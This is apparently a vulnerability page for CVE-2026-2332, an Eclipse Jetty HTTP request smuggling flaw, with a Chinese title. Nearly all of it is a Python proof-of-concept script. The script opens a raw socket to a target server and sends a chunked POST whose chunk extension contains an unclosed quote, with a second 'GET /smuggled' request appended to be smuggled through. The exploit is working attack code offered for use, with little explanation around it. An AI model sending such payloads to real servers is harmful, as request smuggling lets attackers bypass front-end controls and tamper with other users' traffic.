CVE-2026-2332 Eclipse Jetty HTTP请求走私漏洞

import socket # PoC for CVE-2026-2332: Jetty Request Smuggling via Unclosed Quotes in Chunk Extensions # This script sends a malicious request with an unclosed quote in the chunk extension. def send_smuggling_request(host, port): # Construct the malicious payload # The chunk extension `1;ext="val` is not closed with a quote before CRLF payload = ( "POST / HTTP/1.1\r\n" f"Host: {host}\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "1;ext=\"val\r\n" # Malformed chunk extension with unclosed quote "X\r\n" # This part might be interpreted as the start of a smuggled request "0\r\n" # Terminator "\r\n" "GET /smuggled HTTP/1.1\r\n" f"Host: {host}\r\n" "\r\n" ) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode('utf-8')) print(f"[+] Payload sent to {host}:{port}") print("[+] Check the backend server to see if the request was smuggled.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with target host and port target_host = "localhost" target_port = 8080 send_smuggling_request(target_host, target_port)